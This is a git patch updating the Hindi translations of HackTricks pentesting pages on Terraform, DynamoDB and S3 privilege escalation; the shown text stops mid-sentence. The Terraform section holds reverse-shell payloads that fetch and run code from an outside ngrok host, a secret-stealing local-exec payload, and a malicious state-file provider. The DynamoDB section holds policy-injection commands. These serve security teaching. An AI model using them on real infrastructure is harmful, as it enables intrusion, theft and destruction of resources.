From 8952a46b51eec4fb290bedcb8a5fa0ac1b5bfdeb Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 5 Jan 2025 15:23:52 +0000 Subject: [PATCH] Translated ['src/pentesting-ci-cd/terraform-security.md', 'src/pentestin --- src/pentesting-ci-cd/terraform-security.md | 112 ++++++++++-------- .../aws-dynamodb-privesc.md | 53 ++++++++- .../aws-s3-privesc.md | 29 +++-- 3 files changed, 135 insertions(+), 59 deletions(-) diff --git a/src/pentesting-ci-cd/terraform-security.md b/src/pentesting-ci-cd/terraform-security.md index 40fe7ac19..e9793f0b8 100644 --- a/src/pentesting-ci-cd/terraform-security.md +++ b/src/pentesting-ci-cd/terraform-security.md @@ -1,12 +1,12 @@ -# Terraform सुरक्षा +# Terraform Security {{#include ../banners/hacktricks-training.md}} -## मूल जानकारी +## Basic Information -[दस्तावेज़ों से:](https://developer.hashicorp.com/terraform/intro) +[From the docs:](https://developer.hashicorp.com/terraform/intro) -HashiCorp Terraform एक **कोड के रूप में बुनियादी ढांचा उपकरण** है जो आपको मानव-पठनीय कॉन्फ़िगरेशन फ़ाइलों में **क्लाउड और ऑन-प्रेम संसाधनों** को परिभाषित करने की अनुमति देता है जिन्हें आप संस्करण, पुन: उपयोग और साझा कर सकते हैं। आप फिर अपने बुनियादी ढांचे के पूरे जीवनचक्र के दौरान सभी संसाधनों को प्रावधान और प्रबंधित करने के लिए एक सुसंगत कार्यप्रवाह का उपयोग कर सकते हैं। Terraform निम्न-स्तरीय घटकों जैसे कंप्यूट, स्टोरेज, और नेटवर्किंग संसाधनों के साथ-साथ उच्च-स्तरीय घटकों जैसे DNS प्रविष्टियों और SaaS सुविधाओं का प्रबंधन कर सकता है। +HashiCorp Terraform एक **infrastructure as code tool** है जो आपको **cloud और on-prem resources** को मानव-पठनीय कॉन्फ़िगरेशन फ़ाइलों में परिभाषित करने की अनुमति देता है जिन्हें आप संस्करण, पुन: उपयोग और साझा कर सकते हैं। आप फिर अपने सभी बुनियादी ढांचे को उसके जीवन चक्र के दौरान प्रावधान और प्रबंधित करने के लिए एक सुसंगत कार्यप्रवाह का उपयोग कर सकते हैं। Terraform निम्न-स्तरीय घटकों जैसे कंप्यूट, स्टोरेज, और नेटवर्किंग संसाधनों के साथ-साथ उच्च-स्तरीय घटकों जैसे DNS प्रविष्टियों और SaaS सुविधाओं का प्रबंधन कर सकता है। #### Terraform कैसे काम करता है? @@ -14,31 +14,31 @@ Terraform क्लाउड प्लेटफार्मों और अन ![](<../images/image (177).png>) -HashiCorp और Terraform समुदाय ने पहले से ही **1700 से अधिक प्रदाता** लिखे हैं जो हजारों विभिन्न प्रकार के संसाधनों और सेवाओं का प्रबंधन करते हैं, और यह संख्या बढ़ती जा रही है। आप सभी सार्वजनिक रूप से उपलब्ध प्रदाताओं को [Terraform रजिस्ट्री](https://registry.terraform.io/) पर पा सकते हैं, जिसमें Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, और कई अन्य शामिल हैं। +HashiCorp और Terraform समुदाय ने पहले से ही **1700 से अधिक प्रदाता** लिखे हैं जो हजारों विभिन्न प्रकार के संसाधनों और सेवाओं का प्रबंधन करते हैं, और यह संख्या बढ़ती जा रही है। आप सभी सार्वजनिक रूप से उपलब्ध प्रदाताओं को [Terraform Registry](https://registry.terraform.io/) पर पा सकते हैं, जिसमें Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, और कई अन्य शामिल हैं। मुख्य Terraform कार्यप्रवाह तीन चरणों में विभाजित है: -- **लिखें:** आप संसाधनों को परिभाषित करते हैं, जो कई क्लाउड प्रदाताओं और सेवाओं में हो सकते हैं। उदाहरण के लिए, आप सुरक्षा समूहों और लोड बैलेंसर के साथ एक वर्चुअल प्राइवेट क्लाउड (VPC) नेटवर्क में वर्चुअल मशीनों पर एक एप्लिकेशन तैनात करने के लिए एक कॉन्फ़िगरेशन बना सकते हैं। -- **योजना:** Terraform एक निष्पादन योजना बनाता है जो उस बुनियादी ढांचे का वर्णन करता है जिसे वह बनाएगा, अपडेट करेगा, या नष्ट करेगा जो मौजूदा बुनियादी ढांचे और आपकी कॉन्फ़िगरेशन के आधार पर है। -- **लागू करें:** स्वीकृति पर, Terraform सही क्रम में प्रस्तावित संचालन करता है, किसी भी संसाधन निर्भरताओं का सम्मान करते हुए। उदाहरण के लिए, यदि आप एक VPC की विशेषताओं को अपडेट करते हैं और उस VPC में वर्चुअल मशीनों की संख्या बदलते हैं, तो Terraform वर्चुअल मशीनों को स्केल करने से पहले VPC को फिर से बनाएगा। +- **Write:** आप संसाधनों को परिभाषित करते हैं, जो कई क्लाउड प्रदाताओं और सेवाओं में हो सकते हैं। उदाहरण के लिए, आप सुरक्षा समूहों और लोड बैलेंसर के साथ एक वर्चुअल प्राइवेट क्लाउड (VPC) नेटवर्क में वर्चुअल मशीनों पर एक एप्लिकेशन तैनात करने के लिए एक कॉन्फ़िगरेशन बना सकते हैं। +- **Plan:** Terraform एक निष्पादन योजना बनाता है जो उस बुनियादी ढांचे का वर्णन करती है जिसे यह बनाएगा, अपडेट करेगा, या नष्ट करेगा जो मौजूदा बुनियादी ढांचे और आपकी कॉन्फ़िगरेशन के आधार पर है। +- **Apply:** अनुमोदन पर, Terraform सही क्रम में प्रस्तावित संचालन करता है, किसी भी संसाधन निर्भरताओं का सम्मान करते हुए। उदाहरण के लिए, यदि आप एक VPC की विशेषताओं को अपडेट करते हैं और उस VPC में वर्चुअल मशीनों की संख्या बदलते हैं, तो Terraform वर्चुअल मशीनों को स्केल करने से पहले VPC को फिर से बनाएगा। ![](<../images/image (215).png>) -### Terraform प्रयोगशाला +### Terraform Lab बस अपने कंप्यूटर में terraform स्थापित करें। -यहाँ आपके पास एक [गाइड](https://learn.hashicorp.com/tutorials/terraform/install-cli) है और यहाँ आपके पास terraform डाउनलोड करने का [सर्वश्रेष्ठ तरीका](https://www.terraform.io/downloads) है। +यहाँ आपके पास एक [guide](https://learn.hashicorp.com/tutorials/terraform/install-cli) है और यहाँ आपके पास terraform डाउनलोड करने का [best way](https://www.terraform.io/downloads) है। -## Terraform में RCE +## RCE in Terraform: config file poisoning -Terraform **एक प्लेटफ़ॉर्म नहीं है जो एक वेब पृष्ठ या नेटवर्क सेवा को उजागर करता है** जिसे हम सूचीबद्ध कर सकते हैं, इसलिए, terraform को समझौता करने का एकमात्र तरीका है **terraform कॉन्फ़िगरेशन फ़ाइलों को जोड़ने/संशोधित करने में सक्षम होना**। +Terraform **कोई ऐसा प्लेटफॉर्म नहीं है जो एक वेब पृष्ठ या नेटवर्क सेवा को उजागर करता है** जिसे हम सूचीबद्ध कर सकें, इसलिए, terraform को समझौता करने का एकमात्र तरीका है **terraform कॉन्फ़िगरेशन फ़ाइलों को जोड़ने/संशोधित करने में सक्षम होना** या **terraform स्थिति फ़ाइल को संशोधित करने में सक्षम होना** (नीचे देखें)। -हालांकि, terraform एक **बहुत संवेदनशील घटक** है जिसे समझौता करना है क्योंकि इसके पास **विभिन्न स्थानों तक विशेष पहुंच** होगी ताकि यह सही तरीके से काम कर सके। +हालांकि, terraform एक **बहुत संवेदनशील घटक** है जिसे समझौता करना है क्योंकि इसके पास विभिन्न स्थानों तक **विशेषाधिकार प्राप्त पहुंच** होगी ताकि यह सही तरीके से काम कर सके। -एक हमलावर के लिए उस प्रणाली को समझौता करने का मुख्य तरीका जहां terraform चल रहा है, है **terraform कॉन्फ़िगरेशन को स्टोर करने वाले भंडार को समझौता करना**, क्योंकि किसी बिंदु पर उन्हें **व्याख्यायित** किया जाएगा। +एक हमलावर के लिए उस प्रणाली को समझौता करने का मुख्य तरीका जहां terraform चल रहा है, वह है **terraform कॉन्फ़िगरेशन को स्टोर करने वाले रिपॉजिटरी को समझौता करना**, क्योंकि किसी बिंदु पर उन्हें **व्याख्यायित** किया जाएगा। -वास्तव में, वहाँ ऐसे समाधान हैं जो **PR** बनने के बाद स्वचालित रूप से terraform plan/apply को **निष्पादित** करते हैं, जैसे कि **Atlantis**: +वास्तव में, वहाँ ऐसे समाधान हैं जो **PR** बनने के बाद स्वचालित रूप से terraform plan/apply को **execute** करते हैं, जैसे कि **Atlantis**: {{#ref}} atlantis-security.md @@ -46,21 +46,21 @@ atlantis-security.md यदि आप एक terraform फ़ाइल को समझौता करने में सक्षम हैं, तो जब कोई `terraform plan` या `terraform apply` निष्पादित करता है, तो RCE करने के लिए आपके पास विभिन्न तरीके हो सकते हैं। -### Terraform योजना +### Terraform plan -Terraform योजना terraform में **सबसे अधिक उपयोग किया जाने वाला कमांड** है और डेवलपर्स/समाधान जो terraform का उपयोग करते हैं, इसे हमेशा कॉल करते हैं, इसलिए **RCE प्राप्त करने का सबसे आसान तरीका** यह सुनिश्चित करना है कि आप एक terraform कॉन्फ़िगरेशन फ़ाइल को विषाक्त करें जो `terraform plan` में मनमाने आदेश निष्पादित करेगी। +Terraform plan terraform में **सबसे अधिक उपयोग किया जाने वाला कमांड** है और डेवलपर्स/समाधान जो terraform का उपयोग करते हैं, इसे हर समय कॉल करते हैं, इसलिए **RCE प्राप्त करने का सबसे आसान तरीका** यह सुनिश्चित करना है कि आप एक terraform कॉन्फ़िगरेशन फ़ाइल को विषाक्त करें जो `terraform plan` में मनमाने आदेशों को निष्पादित करेगी। **एक बाहरी प्रदाता का उपयोग करना** -Terraform [`external` प्रदाता](https://registry.terraform.io/providers/hashicorp/external/latest/docs) प्रदान करता है जो Terraform और बाहरी कार्यक्रमों के बीच इंटरफेस करने का एक तरीका प्रदान करता है। आप `plan` के दौरान मनमाने कोड को चलाने के लिए `external` डेटा स्रोत का उपयोग कर सकते हैं। +Terraform [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) प्रदान करता है जो Terraform और बाहरी कार्यक्रमों के बीच इंटरफेस करने का एक तरीका प्रदान करता है। आप `plan` के दौरान मनमानी कोड चलाने के लिए `external` डेटा स्रोत का उपयोग कर सकते हैं। -एक terraform कॉन्फ़िगरेशन फ़ाइल में निम्नलिखित की तरह कुछ इंजेक्ट करना `terraform plan` निष्पादित करते समय एक रिवर्स शेल निष्पादित करेगा: +एक terraform कॉन्फ़िगरेशन फ़ाइल में निम्नलिखित की तरह कुछ इंजेक्ट करने से `terraform plan` निष्पादित करते समय एक रिवर्स शेल निष्पादित होगा: ```javascript data "external" "example" { program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"] } ``` -**कस्टम प्रदाता का उपयोग करना** +**एक कस्टम प्रदाता का उपयोग करना** एक हमलावर [कस्टम प्रदाता](https://learn.hashicorp.com/tutorials/terraform/provider-setup) को [Terraform Registry](https://registry.terraform.io/) पर भेज सकता है और फिर इसे एक फीचर ब्रांच में Terraform कोड में जोड़ सकता है ([यहां से उदाहरण](https://alex.kaskaso.li/post/terraform-plan-rce)): ```javascript @@ -77,25 +77,25 @@ provider "evil" {} ``` प्रदाता `init` में डाउनलोड किया जाता है और जब `plan` निष्पादित होता है तो यह दुर्भावनापूर्ण कोड चलाएगा। -आप एक उदाहरण [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec) में पा सकते हैं। +आप एक उदाहरण [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec) में देख सकते हैं। **एक बाहरी संदर्भ का उपयोग करना** -दोनों उल्लेखित विकल्प उपयोगी हैं लेकिन बहुत छिपे हुए नहीं हैं (दूसरा पहले की तुलना में अधिक छिपा हुआ है लेकिन अधिक जटिल है)। आप इस हमले को एक **और अधिक छिपे हुए तरीके** से भी कर सकते हैं, इन सुझावों का पालन करके: +दोनों उल्लेखित विकल्प उपयोगी हैं लेकिन बहुत छिपे हुए नहीं हैं (दूसरा अधिक छिपा हुआ है लेकिन पहले से अधिक जटिल है)। आप इस हमले को एक **अधिक छिपे हुए तरीके** से भी कर सकते हैं, इन सुझावों का पालन करके: -- Terraform फ़ाइल में सीधे rev shell जोड़ने के बजाय, आप **एक बाहरी संसाधन लोड कर सकते हैं** जिसमें rev shell शामिल है: +- Terraform फ़ाइल में सीधे rev shell जोड़ने के बजाय, आप **एक बाहरी संसाधन** लोड कर सकते हैं जिसमें rev shell है: ```javascript module "not_rev_shell" { source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules" } ``` -आप रेव शेल कोड [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) में पा सकते हैं। +आप रिव शेल कोड [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) में पा सकते हैं। -- बाहरी संसाधन में, **ref** फीचर का उपयोग करें ताकि **repo के अंदर एक शाखा में terraform rev shell कोड** छिपा सकें, कुछ इस तरह: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` +- बाहरी संसाधन में, **ref** फीचर का उपयोग करें ताकि **repo के अंदर एक शाखा में terraform rev shell कोड छिपा सकें**, कुछ इस तरह: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` ### Terraform Apply -Terraform apply सभी परिवर्तनों को लागू करने के लिए निष्पादित किया जाएगा, आप इसे RCE प्राप्त करने के लिए भी दुरुपयोग कर सकते हैं **एक दुर्भावनापूर्ण Terraform फ़ाइल के साथ** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\ +Terraform apply सभी परिवर्तनों को लागू करने के लिए निष्पादित किया जाएगा, आप इसे RCE प्राप्त करने के लिए भी दुरुपयोग कर सकते हैं **एक दुर्भावनापूर्ण Terraform फ़ाइल को** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)** के साथ इंजेक्ट करके।**\ आपको बस यह सुनिश्चित करने की आवश्यकता है कि निम्नलिखित जैसे कुछ पेलोड `main.tf` फ़ाइल में समाप्त हो जाएं: ```json // Payload 1 to just steal a secret @@ -112,7 +112,7 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'" } } ``` -पिछली तकनीक से **सुझावों का पालन करें** ताकि इस हमले को **बाहरी संदर्भों का उपयोग करके अधिक छिपे हुए तरीके से किया जा सके**। +**पिछली तकनीक से सुझावों का पालन करें** ताकि इस हमले को **बाहरी संदर्भों का उपयोग करके अधिक छिपे हुए तरीके से किया जा सके**। ## Secrets Dumps @@ -124,15 +124,43 @@ value = nonsensitive(var.do_token) ``` ## Terraform State फ़ाइलों का दुरुपयोग -यदि आपके पास terraform state फ़ाइलों पर लिखने की अनुमति है लेकिन आप terraform कोड को नहीं बदल सकते हैं, तो [**यह शोध**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) फ़ाइल का लाभ उठाने के लिए कुछ दिलचस्प विकल्प प्रदान करता है: +यदि आपके पास terraform state फ़ाइलों पर लिखने का अधिकार है लेकिन आप terraform कोड को बदल नहीं सकते, तो [**यह शोध**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) फ़ाइल का लाभ उठाने के लिए कुछ दिलचस्प विकल्प प्रदान करता है। भले ही आपके पास कॉन्फ़िगरेशन फ़ाइलों पर लिखने का अधिकार हो, state फ़ाइलों के वेक्टर का उपयोग करना अक्सर अधिक चालाक होता है, क्योंकि आप `git` इतिहास में कोई निशान नहीं छोड़ते हैं। + +### Terraform में RCE: कॉन्फ़िग फ़ाइल विषाक्तता + +यह संभव है कि [एक कस्टम प्रदाता बनाएँ](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) और बस terraform state फ़ाइल में एक प्रदाता को दुर्भावनापूर्ण प्रदाता से बदल दें या दुर्भावनापूर्ण प्रदाता का संदर्भ देने वाला एक नकली संसाधन जोड़ें। + +प्रदाता [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) इस शोध पर आधारित है और इस सिद्धांत को हथियार बनाता है। आप एक नकली संसाधन जोड़ सकते हैं और `command` विशेषता में चलाने के लिए इच्छित मनमाना bash कमांड निर्दिष्ट कर सकते हैं। जब `terraform` रन को ट्रिगर किया जाता है, तो इसे `terraform plan` और `terraform apply` चरणों में पढ़ा और निष्पादित किया जाएगा। `terraform apply` चरण के मामले में, `terraform` आपके कमांड को निष्पादित करने के बाद state फ़ाइल से नकली संसाधन को हटा देगा, अपने आप को साफ करते हुए। इस प्रदाता के लिए स्रोत कोड होस्ट करने वाले [GitHub रिपॉजिटरी](https://github.com/offensive-actions/terraform-provider-statefile-rce) में अधिक जानकारी और एक पूर्ण डेमो पाया जा सकता है। + +इसे सीधे उपयोग करने के लिए, बस `resources` ऐरे के किसी भी स्थान पर निम्नलिखित शामिल करें और `name` और `command` विशेषताओं को अनुकूलित करें: +```json +{ +"mode": "managed", +"type": "rce", +"name": "", +"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]", +"instances": [ +{ +"schema_version": 0, +"attributes": { +"command": "", +"id": "rce" +}, +"sensitive_attributes": [], +"private": "bnVsbA==" +} +] +} +``` +फिर, जैसे ही `terraform` निष्पादित होता है, आपका कोड चलेगा। ### संसाधनों को हटाना संसाधनों को नष्ट करने के 2 तरीके हैं: -1. **वास्तविक संसाधन को नष्ट करने के लिए state फ़ाइल में एक यादृच्छिक नाम के साथ एक संसाधन डालें** +1. **वास्तविक संसाधन को नष्ट करने के लिए राज्य फ़ाइल में एक यादृच्छिक नाम के साथ एक संसाधन डालें** -क्योंकि terraform देखेगा कि संसाधन मौजूद नहीं होना चाहिए, यह इसे नष्ट कर देगा (वास्तविक संसाधन ID के अनुसार जो इंगित किया गया है)। पिछले पृष्ठ से उदाहरण: +क्योंकि terraform देखेगा कि संसाधन का अस्तित्व नहीं होना चाहिए, यह इसे नष्ट कर देगा (वास्तविक संसाधन ID के अनुसार जो इंगित किया गया है)। पिछले पृष्ठ से उदाहरण: ```json { "mode": "managed", @@ -152,21 +180,6 @@ value = nonsensitive(var.do_token) EC2 इंस्टेंस के लिए, इंस्टेंस के प्रकार को संशोधित करना terraform को इसे हटाने और फिर से बनाने के लिए पर्याप्त है। -### RCE - -यह भी संभव है कि [एक कस्टम प्रदाता बनाएँ](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) और बस terraform स्थिति फ़ाइल में एक प्रदाता को दुर्भावनापूर्ण वाले से बदल दें या दुर्भावनापूर्ण प्रदाता के साथ एक खाली संसाधन जोड़ दें। मूल शोध से उदाहरण: -```json -"resources": [ -{ -"mode": "managed", -"type": "scaffolding_example", -"name": "example", -"provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]", -"instances": [ - -] -}, -``` ### ब्लैकलिस्टेड प्रदाता को बदलें यदि आप ऐसी स्थिति का सामना करते हैं जहाँ `hashicorp/external` को ब्लैकलिस्ट किया गया है, तो आप निम्नलिखित करके `external` प्रदाता को फिर से लागू कर सकते हैं। नोट: हम https://registry.terraform.io/providers/nazarewk/external/latest द्वारा प्रकाशित `external` प्रदाता की एक फोर्क का उपयोग करते हैं। आप अपना खुद का फोर्क या फिर से कार्यान्वयन भी प्रकाशित कर सकते हैं। @@ -206,7 +219,7 @@ snyk iac test /path/to/terraform/code ``` ### [Checkov](https://github.com/bridgecrewio/checkov) -**Checkov** एक स्थैतिक कोड विश्लेषण उपकरण है जो इन्फ्रास्ट्रक्चर कोड (IaC) के लिए और छवियों और ओपन-सोर्स पैकेजों के लिए एक सॉफ़्टवेयर संरचना विश्लेषण (SCA) उपकरण है। +**Checkov** एक स्थैतिक कोड विश्लेषण उपकरण है जो इन्फ्रास्ट्रक्चर कोड (IaC) के लिए है और यह छवियों और ओपन-सोर्स पैकेजों के लिए एक सॉफ़्टवेयर संरचना विश्लेषण (SCA) उपकरण भी है। यह [Terraform](https://terraform.io/) का उपयोग करके प्रदान की गई क्लाउड इन्फ्रास्ट्रक्चर, [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), या [OpenTofu](https://opentofu.org/) को स्कैन करता है और ग्राफ-आधारित स्कैनिंग का उपयोग करके सुरक्षा और अनुपालन की गलत कॉन्फ़िगरेशन का पता लगाता है। @@ -217,7 +230,7 @@ checkov -d /path/to/folder ``` ### [terraform-compliance](https://github.com/terraform-compliance/cli) -From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` एक हल्का, सुरक्षा और अनुपालन पर केंद्रित परीक्षण ढांचा है जो terraform के खिलाफ आपके इन्फ्रास्ट्रक्चर-एज़-कोड के लिए नकारात्मक परीक्षण क्षमता सक्षम करता है। +From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` एक हल्का, सुरक्षा और अनुपालन पर केंद्रित परीक्षण ढांचा है जो terraform के खिलाफ नकारात्मक परीक्षण क्षमता को सक्षम करने के लिए है आपके इन्फ्रास्ट्रक्चर-एज़-कोड के लिए। - **compliance:** सुनिश्चित करें कि लागू किया गया कोड सुरक्षा मानकों, आपके अपने कस्टम मानकों का पालन कर रहा है - **behaviour driven development:** हमारे पास लगभग हर चीज के लिए BDD है, IaC के लिए क्यों नहीं? @@ -241,7 +254,7 @@ From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec आपके t - ⛔ सैकड़ों अंतर्निहित नियम - 🪆 मॉड्यूल (स्थानीय और दूरस्थ) को स्कैन करता है - ➕ HCL अभिव्यक्तियों और शाब्दिक मानों का मूल्यांकन करता है -- ↪️ Terraform कार्यों का मूल्यांकन करता है जैसे कि `concat()` +- ↪️ Terraform कार्यों का मूल्यांकन करता है जैसे `concat()` - 🔗 Terraform संसाधनों के बीच संबंधों का मूल्यांकन करता है - 🧰 Terraform CDK के साथ संगत - 🙅 उपयोगकर्ता-परिभाषित Rego नीतियों को लागू (और सजाता) है @@ -267,7 +280,7 @@ From the [**docs**](https://github.com/tenable/terrascan): Terrascan एक स - गलत कॉन्फ़िगरेशन के लिए Infrastructure as Code को निर्बाध रूप से स्कैन करें। - कॉन्फ़िगरेशन परिवर्तनों की निगरानी करें जो स्थिति में बदलाव लाते हैं, और सुरक्षित स्थिति पर वापस लौटने की अनुमति देते हैं। - सुरक्षा कमजोरियों और अनुपालन उल्लंघनों का पता लगाएं। -- क्लाउड नेटिव इन्फ्रास्ट्रक्चर को प्रावधान करने से पहले जोखिमों को कम करें। +- क्लाउड नेटिव इन्फ्रास्ट्रक्चर को प्रावधानित करने से पहले जोखिमों को कम करें। - स्थानीय रूप से चलाने या अपने CI\CD के साथ एकीकृत करने के लिए लचीलापन प्रदान करता है। ```bash brew install terrascan @@ -278,5 +291,6 @@ brew install terrascan - [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce) - [https://developer.hashicorp.com/terraform/intro](https://developer.hashicorp.com/terraform/intro) - [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) +- [https://github.com/offensive-actions/terraform-provider-statefile-rce](https://github.com/offensive-actions/terraform-provider-statefile-rce) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md index e9f04c7ea..9550ab4cb 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md @@ -10,9 +10,58 @@ dynamodb के बारे में अधिक जानकारी के ../aws-services/aws-dynamodb-enum.md {{#endref}} -### Post Exploitation +### `dynamodb:PutResourcePolicy`, और वैकल्पिक रूप से `dynamodb:GetResourcePolicy` -जितना मुझे पता है, AWS में केवल कुछ AWS `dynamodb` अनुमतियों के साथ विशेषाधिकार बढ़ाने का **कोई सीधा तरीका नहीं है**। आप तालिकाओं से **संवेदनशील** जानकारी पढ़ सकते हैं (जिसमें AWS क्रेडेंशियल्स हो सकते हैं) और तालिकाओं पर **जानकारी लिख सकते हैं** (जो अन्य कमजोरियों को ट्रिगर कर सकता है, जैसे कि लैम्ब्डा कोड इंजेक्शन...) लेकिन ये सभी विकल्प पहले से ही **DynamoDB Post Exploitation पृष्ठ** में विचार किए गए हैं: +मार्च 2024 से, AWS *resource based policies* को DynamoDB के लिए पेश करता है ([AWS News](https://aws.amazon.com/about-aws/whats-new/2024/03/amazon-dynamodb-resource-based-policies/))। + +तो, यदि आपके पास किसी तालिका के लिए `dynamodb:PutResourcePolicy` है, तो आप बस अपने आप या किसी अन्य प्रिंसिपल को तालिका तक पूर्ण पहुंच दे सकते हैं। + +किसी यादृच्छिक प्रिंसिपल को `dynamodb:PutResourcePolicy` देना अक्सर गलती से होता है, यदि व्यवस्थापक सोचते हैं कि `dynamodb:Put*` देने से केवल प्रिंसिपल को डेटाबेस में आइटम डालने की अनुमति मिलेगी - या यदि उन्होंने मार्च 2024 से पहले वह अनुमति सेट दी थी... + +आदर्श रूप से, आपके पास `dynamodb:GetResourcePolicy` भी होना चाहिए, ताकि आप अन्य संभावित महत्वपूर्ण अनुमतियों को अधिलेखित न करें, बल्कि केवल उन अतिरिक्त अनुमतियों को इंजेक्ट करें जिनकी आपको आवश्यकता है: +```bash +# get the current resource based policy (if it exists) and save it to a file +aws dynamodb get-resource-policy \ +--resource-arn \ +--query 'Policy' \ +--output text > policy.json +``` +यदि आप वर्तमान नीति को पुनः प्राप्त नहीं कर सकते हैं, तो बस इस नीति का उपयोग करें जो आपके प्रिंसिपल को तालिका पर पूर्ण पहुंच प्रदान करती है: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "FullAccessToDynamoDBTable", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::/" +}, +"Action": [ +"dynamodb:*" +], +"Resource": [ +"arn:aws:dynamodb:::table/" +] +} +] +} +``` +यदि आपको इसे अनुकूलित करने की आवश्यकता है, तो यहाँ सभी संभावित DynamoDB क्रियाओं की एक सूची है: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Operations.html)। और यहाँ उन सभी क्रियाओं की एक सूची है जिन्हें संसाधन आधारित नीति के माध्यम से अनुमति दी जा सकती है *और इनमें से कौन सी क्रियाएँ क्रॉस-खाता उपयोग की जा सकती हैं (डेटा निकासी के बारे में सोचें!)*: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/rbac-iam-actions.html) + +अब, नीति दस्तावेज़ `policy.json` तैयार है, संसाधन नीति डालें: +```bash +# put the new policy using the prepared policy file +# dynamodb does weirdly not allow a direct file upload +aws dynamodb put-resource-policy \ +--resource-arn \ +--policy "$(cat policy.json)" +``` +अब, आपके पास आवश्यक अनुमतियाँ होनी चाहिए। + +### पोस्ट एक्सप्लोइटेशन + +जितना मुझे पता है, AWS में केवल कुछ AWS `dynamodb` अनुमतियाँ होने के कारण विशेषाधिकार बढ़ाने का **कोई अन्य प्रत्यक्ष तरीका नहीं है**। आप तालिकाओं से **संवेदनशील** जानकारी पढ़ सकते हैं (जिसमें AWS क्रेडेंशियल्स हो सकते हैं) और तालिकाओं पर **जानकारी लिख सकते हैं** (जो अन्य कमजोरियों को ट्रिगर कर सकता है, जैसे कि लैम्ब्डा कोड इंजेक्शन...) लेकिन ये सभी विकल्प पहले से ही **DynamoDB पोस्ट एक्सप्लोइटेशन पृष्ठ** में विचार किए गए हैं: {{#ref}} ../aws-post-exploitation/aws-dynamodb-post-exploitation.md diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md index 039b91679..5a2e66ccc 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md @@ -6,7 +6,7 @@ ### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject` -एक हमलावर जिसके पास दिलचस्प बकेट्स पर ये अनुमतियाँ हैं, वह संसाधनों को हाईजैक करने और विशेषाधिकार बढ़ाने में सक्षम हो सकता है। +एक हमलावर जिसके पास दिलचस्प बकेट्स पर ये अनुमतियाँ हैं, संसाधनों को हाईजैक करने और विशेषाधिकार बढ़ाने में सक्षम हो सकता है। उदाहरण के लिए, एक हमलावर जिसके पास **"cf-templates-nohnwfax6a6i-us-east-1"** नाम के क्लाउडफॉर्मेशन बकेट पर ये अनुमतियाँ हैं, वह डिप्लॉयमेंट को 